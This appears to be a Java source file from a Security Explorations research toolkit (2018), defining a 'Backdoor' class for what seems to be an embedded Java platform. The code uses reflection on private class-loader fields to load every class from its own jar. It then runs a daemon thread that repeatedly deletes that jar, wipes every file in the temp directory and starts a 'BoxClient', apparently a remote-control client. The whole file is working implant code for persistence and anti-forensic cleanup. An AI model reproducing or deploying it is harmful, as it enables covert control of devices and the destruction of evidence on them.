/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import java.util.jar.*;
import java.util.zip.*;
import java.lang.reflect.*;
import sun.misc.CVM;

public class Backdoor implements DaemonThread.Code {
 public static class JarRemover implements DaemonThread.Code {
  String name;

  public JarRemover(String name) {
   this.name=name;
  }

  public void run(Object args[]) {
   while(true) {
    try {
     Thread.currentThread().sleep(1000);

     File file=new File(name);

     if (file.exists()) {
      file.delete();
     } else break;
    } catch(Throwable t) {}
   }
  }

 }

 private static JarFile get_jar_file(URLClassLoader cl) {
  JarFile jf=null;

  try {
   ApiMonitor.log("cl "+cl);

   Class c=Class.forName("java.net.URLClassLoader");
   Field f=c.getDeclaredField("ucp");
   f.setAccessible(true);
  
   /* URLClassPath object */
   Object ucp=f.get(cl);

   ApiMonitor.log("ucp "+ucp);

   c=Class.forName("sun.misc.URLClassPath");
   f=c.getDeclaredField("loaders");
   f.setAccessible(true);

   /* classpath loaders   */ 
   ArrayList loaders=(ArrayList)f.get(ucp);

   ApiMonitor.log("loaders "+loaders+" size "+loaders.size());

   Object loader=null;

   Class jarloader=Class.forName("sun.misc.URLClassPath$JarLoader");
   for(int i=0;i<loaders.size();i++) {
    loader=loaders.get(i);

    ApiMonitor.log(" loader "+loader);

    if (loader.getClass().isAssignableFrom(jarloader)) break;
   }

   ApiMonitor.log("found loader "+loader);

   if (loader!=null) {
    c=Class.forName("sun.misc.URLClassPath$JarLoader");
    f=c.getDeclaredField("jar");
    f.setAccessible(true);
   
    jf=(JarFile)f.get(loader);
   }
  } catch(Throwable t) {}

  return jf;
 }

 private static void schedule_jar_cleanup(JarFile jf) {
  try {
   String tmpdir=System.getProperty("java.io.tmpdir");

   if (tmpdir!=null) {
    Class c=Class.forName("java.util.zip.ZipFile");
    Field f=c.getDeclaredField("zipfile");
    f.setAccessible(true);
  
    /* File object */
    File file=(File)f.get(jf);

    if (file.getPath().startsWith(tmpdir)) {
     JarRemover jr=new JarRemover(file.getPath());
     DaemonThread.start(jr,null);
    }
   }
  } catch(Throwable t) {
   ApiMonitor.log_stacktrace(t);
  }
 }

 private static void cleanup_tmp_dir() {
  try {
   String tmpdir=System.getProperty("java.io.tmpdir");

   if (tmpdir!=null) {
    File dir=new File(tmpdir);

    File files[]=dir.listFiles();

    for(int i=0;i<files.length;i++) {
     files[i].delete();
    }  
   }
  } catch(Throwable t) {}
 }

 private static void classes_init(URLClassLoader cl) {
  try {
   ApiMonitor.log("classes init");

   JarFile jar=get_jar_file(cl);

   cl.loadClass("Memory");

   if (jar==null) {
    cleanup_tmp_dir();
    return;
   }

   Enumeration e=jar.entries();

   while(e.hasMoreElements()) {
    JarEntry entry=(JarEntry)e.nextElement();

    String name=entry.getName();

    if (name.startsWith(ConfigDefs.SCRIPTER_CLASS)) continue;

    int idx=name.indexOf(".class");

    if (idx>0) {
     String classname=name.substring(0,idx);

     ApiMonitor.log("load "+classname);
     cl.loadClass(classname);
     ApiMonitor.log(" OK");
    }
   }

   schedule_jar_cleanup(jar);
  } catch(Throwable t) {
   ApiMonitor.log_stacktrace(t);
  }
 }

 public static boolean is_local() {
  boolean res=false;

  String url=ConfigDefs.BACKDOOR_DST_URL;

  if (url.startsWith("/")) {
   res=true;
  }

  return res;
 }

 public static boolean is_installed() {
  boolean res=false;

  try {
   File file=new File("/flash/"+ConfigDefs.SCRIPTER_CLASS+".class");
   res=file.exists();
  } catch(Throwable t) {}

  return res;
 }


 public Backdoor() {
  ClassLoader cl=getClass().getClassLoader();
  Thread.currentThread().setContextClassLoader(cl);

  if ((!is_installed())||(!is_local())) {
   classes_init((URLClassLoader)cl);
  }
 }

 public void run(Object args[]) {
  try {
   ClassLoader cl=getClass().getClassLoader();

   if ((is_installed())&&(is_local())) {
    classes_init((URLClassLoader)cl);
   }

   BoxClient.start();
  } catch(Throwable t) {
   ApiMonitor.log_stacktrace(t);
  }
 }

 public static void start() {
  try {
   Backdoor b=new Backdoor();
   DaemonThread.start(b,null);    
  } catch(Throwable t) {
   ApiMonitor.log_stacktrace(t);
  }
 }

}
